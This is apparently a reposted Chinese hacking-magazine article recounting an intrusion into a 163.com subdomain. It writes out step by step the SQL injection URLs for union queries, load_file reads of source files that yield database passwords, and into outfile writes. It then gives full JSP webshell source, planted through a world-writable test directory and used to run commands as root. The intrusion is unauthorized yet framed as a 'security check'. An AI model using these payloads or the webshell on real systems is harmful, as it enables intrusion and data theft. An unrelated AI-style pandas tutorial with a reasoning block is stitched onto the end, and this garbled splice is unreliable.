对网易的一次入侵检测-可以看成是Jsp+mysql的入侵

已发表于黑客X档案

BY 剑心[B.C.T]
转载注明出处

163.com是国内一家比较出名的门户网站,提供包括邮箱等等在内的各种服务,这样繁多的服务,不知道会不会在哪些地方存在漏洞哦!正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测,不知道他们的脚本像不像他们名声一样那么厉害哦!
废话就不说了,我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤,那么我们就有空子可以钻了哦!网易的脚本基本上是采取的jsp和Php的形式,主站看样子是静态的,就不说了,其他的站那么多的jsp和php应该有问题吧!Php注入也被人研究烂了,注入的时候被Php的那个特性拦着也相当的不舒服,所以干脆就去找jsp的脚本,希望能找到一些没有过滤的参数。找了能打两把CS的工夫还真让我找到一个页面 http://XXX.163.com/wap/content.jsp?id=120,哈哈,看来是个数字类型的变量哦!就喜欢没有过滤的数字类型变量,因为如果能注入的话基本上没有什么阻碍!我们来看看能不能注入吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=1
返回正常哦,如图1
attachments/200605/17_221142_1.jpg

接着提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2
返回一堆的jsp错误,如图2,
attachments/200605/17_221259_2.jpg

还搞到了web的路径,幸福!通过路径我们还知道这个系统是Linux类系统哦。

根据上面的两个推测很有可能这就是一个注入点啦!因为我们提交的and 1=1和and 1=2被当作Sql代码执行啦!如果参数没有做其他过滤的话,我们就可以在这里提交我们的注入代码啦!那么继续看看吧!因为jsp可以和很多数据库搭配,所以这里我们还是先来看看是什么数据库吧!提交:

http://XXX.163.com/wap/content.jsp?id=120/*剑心
返回结果如图3
attachments/200605/17_221330_3.jpg

,看来是支持/*注释了,支持/*注释的在这里就应该是mysql数据库了!既然知道了是mysql数据库,那么就来看看系统的版本吧,如果在4.0以上对猜表和注入是很有帮助的哦!提交:

http://XXX.163.com/wap/content.jsp?id=120 and ord(mid(version(),1,1))>51/*
返回正常的结果,看来是大于4.0版本的啦,也就是支持union查询的啦!因为这里语句的作用是取出版本的第一个字符,是大于3的,其中51是3的ASCII字符!既然支持union查询我们就开看看字段的个数吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1/*
返回错误如图4
attachments/200605/17_221347_4.jpg

继续提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2/*
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3/*
……
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/*
的时候返回正常结果如图5
attachments/200605/17_221420_5.jpg

,看来是10个字段并且哪些字段会在页面显示也出来了!嘿嘿,现在能union查询了,就总的看下数据库的信息吧!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/*
返回结果如图6

attachments/200605/17_221534_6.jpg

,我们知道了数据库名字以及用户连接的名字以及数据库具体版本了哦!那么下一步该怎么做呢?看看用户那么特殊,这个用户很可能是管理员之类的角色哦!还是先看看权限够不够大,关键是能不能读写文件!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,10 into outfile '/tmp/jnc.txt'/*
嘿嘿,注意这里跟Php的注入不同,jsp不会对提交的任何字符做转义处理哦!所以我们放心的提交就行了,从上面的例子中我们大约知道系统是Linux类的,所以写文件到/tmp/jnc.txt中,这个目录一般都是可写的。然后再提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/tmp/jnc.txt')/*

分别返回如图7
attachments/200605/17_221616_7.jpg

图8
attachments/200605/17_221650_8.jpg

,看来是写文件和读文件都成功了!有File权限哦,在jsp环境下不受php下那种特性的影响可以在权限允许的范围之内随便写文件!既然权限有了,来判断下web和Mysql服务器是不是一个主机吧,是的话又可以免去猜测密码的痛苦了!web路径出来了那么我们就读web服务器上存在的文件,如果存在的话就应该是一个主机啦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/content.jsp')/*

读取我们的content.jsp,哈哈,如图9
attachments/200605/17_221718_9.jpg

,成功返回啦!然后再读了几个文件都成功返回,说明是一个服务器哦!既然这样就客气啦!继续读吧!我们感兴趣的东西当然是密码了!查看刚才返回的源文件,我们发现里面包含了Function.jsp,于是去读Function.jsp的内容,提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/function.jsp')/*
返回结果如图10
attachments/200605/17_221805_10.jpg

,哈哈,看源文件得到了密码哦!得到了密码我们就去连接试试吧!打开自己的Mysql客户端连接上去,输入得到的密码结果如图11
attachments/200605/17_221905_11.jpg

Mysql拒绝了其他IP的登陆!虽然不能连Mysql但是我们不是已经有个注入点了么?还能写文件和读文件呢,那么就、从脚本上继续前进吧!
既然知道了web路径,又能写文件,那么能不能用into outfile导出一个webshell呢?试试吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/jnc.jsp'/*
但是结果很另人郁闷,写到/tmp/下就好用,写到web目录下不行,试了很多次都是这个结果,看来是权限的原因了!Linux很大的一个优点就是权限设置得很好,默认只有创建者才有权限修改文件,我们用的用户是Mysql的,当然不能在apache的目录下建立文件了!到这里入侵遇到了第一个阻碍,并且暂时没有办法解决!
我们是搞脚本安全的,一条路不行就还是回到脚本上来吧!去根目录加了个/admin提示403Forbiden错误,哈哈,这个是管理目录了!于是兴冲冲的提交login.jsp和login.html以及所有我觉得可能的后台登陆文件,但服务器都无情的给我一个404错误,那个郁闷哟!想从其他的后台得到点启示,猜测出后台的登陆路径,但是还是找不到后台的登陆文件,这条路也死在这里了!
到这里应该停下来想想了!听了会周杰伦的歌,忽然想到,Linux服务器本身是很安全的,但是不知道会不会存在人为的安全漏洞呢?我在一些其他的大点的网站上经常看到除了一些常用的目录之外,管理员还设置了test目录方便其他管理员调试脚本,并且这个目录的权限通常是设置成777的,也就是说Everyone可读可写的,如果存在这样的目录的话就......马上去网站上提交:

http://XXX.163.com/test/
404不存在
http://XXX.163.com/wap/test/
403 Forbidden,哈哈,真是CS暴头的感觉,居然存在啊!马上去提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/test/jnc.txt'/*
等到返回错误的时候去访问 http://XXX.163.com/wap/test/jnc.txt如图12
attachments/200605/17_221937_12.jpg

,哈哈,存在啊!看来真让我发现一个人为的安全隐患啊!这就是经验了!好了,可以导出为txt文件,那么导出成Php文件如何呢?去写了一个一句话木马导出成php文件,访问这个Php文件居然提示下载,看来web目录只支持jsp后缀的啦,那么我们只能导出成jsp文件了!于是马上去找jsp后门,找来找去找到个最短的如下:

<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
就是能执行个命令,执行形式是在Url里访问jnc.jsp?cmd=命令,因为我们是用into outfile导文件并且是在union查询里用的,所以要导出的内容必须在union的最后面,否则是不能得到我们结果的哦,在导之前我们还要将jsp的语句写到一行,不影响jsp的执行但是方便我们导出嘛!再看看,发现字符好象太长,Get可能满足不了要求,于是干脆自己写个Html吧!内容如下:

<form action=http://XXX.163.com/wap/content.jsp method=post>
<input name=id type=text size=1000>
<input type=submit>
</form>

然后提交栏里写上:

120 and 1=2 union select 1,2,3,4,5,6,7,8,9,'写在一行的木马语句' into outfile '/home/project/web163/web/test/jnc.jsp'/*,如图13
attachments/200605/17_222015_13.jpg

,点提交之后我们去test目录看看,哈哈,我们的木马真的存在啦!提交:

http://XXX.163.com/wap/test/jsp3.jsp?cmd=id
返回结果如图14
attachments/200605/17_222053_14.jpg

,哈哈居然是用Root启动的,权限是最大的啦!省得我们提权了!到此,对163.com的一次安全检测结束了!
通过上面的例子我们可以看到,尽管是小小的一个参数没有过滤,加上一些其他的安全原因,导致的结果可能就是服务器的沦陷,不仅仅是163.com的管理员要注意这个,希望所有的管理员都注意这个。
<think>我们参考用户提供的多个引用,特别是引用[2]和[5]中关于DataFrame的说明,以及引用[3]中关于Pandas数据结构的介绍。用户想查看数据表格或查询数据结构,要求给出数据分析中数据结构(尤其是表格形式)的示例。根据引用[2]:DataFrame是一个表格型的数据结构,含有一组有序的列,每列可以是不同的值类型。每一行数据可以看成一个Series。根据引用[5]:通过numpy的ndarray可以构建DataFrame,并给出示例代码。因此,我们可以创建一个简单的DataFrame示例,展示表格数据结构。同时,由于引用[3]提到Pandas是重要工具,我们使用Pandas库来创建DataFrame。我们将创建一个包含学生信息的简单表格,包括姓名、年龄、成绩三列,并展示如何用Pandas创建和显示这个DataFrame。步骤:1.导入pandas库2.创建一个字典,其中键为列名,值为该列的数据(列表形式)3.使用pd.DataFrame()创建DataFrame4.打印DataFrame示例代码如下:</think> 基于您的查询"数据分析 数据结构 表格 示例",结合引用内容,以下是Python数据分析中表格数据结构的核心概念与示例: ### 一、核心数据结构:DataFrame DataFrame是Pandas库的核心表格结构(引用[2][3][5]),具有以下特性: 1. **表格形态**:类似Excel的二维表格,含行索引和列标签 2. **混合数据类型**:不同列可包含数值、字符串、布尔值等类型 3. **数据关系**:每行是一个数据记录,每列是一个数据维度 - 列操作:`df['列名']`返回一个Series(一维数组结构) - 行操作:`df.loc[行索引]`返回对应记录 ### 二、DataFrame创建示例 引用[5]的创建方式: ```python import pandas as pd import numpy as np # 通过NumPy数组创建 data_array = np.array([ [101, '张三', 85.5], [102, '李四', 92.0], [103, '王五', 78.5] ]) df = pd.DataFrame(data_array, columns=['学号', '姓名', '成绩']) print(df) ``` 输出结果: ``` 学号 姓名 成绩 0 101 张三 85.5 1 102 李四 92.0 2 103 王五 78.5 ``` ### 三、表格操作示例 1. **数据筛选**(引用[4]技术): ```python # 筛选成绩>90的记录 high_score = df[df['成绩'].astype(float) > 90] ``` 2. **数据合并**(引用[4]功能): ```python df2 = pd.DataFrame({'学号':[104], '姓名':['赵六'], '成绩':[88]}) merged_df = pd.concat([df, df2]) # 垂直合并表格 ``` 3. **数据统计**: ```python print("平均成绩:", df['成绩'].astype(float).mean()) ``` ### 四、实际应用场景 1. **数据预处理**(引用[1]):处理缺失值、数据清洗 2. **多表操作**(引用[4]):合并多个Excel文件数据 3. **数据探索**(引用[1][3]):快速统计描述性信息
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值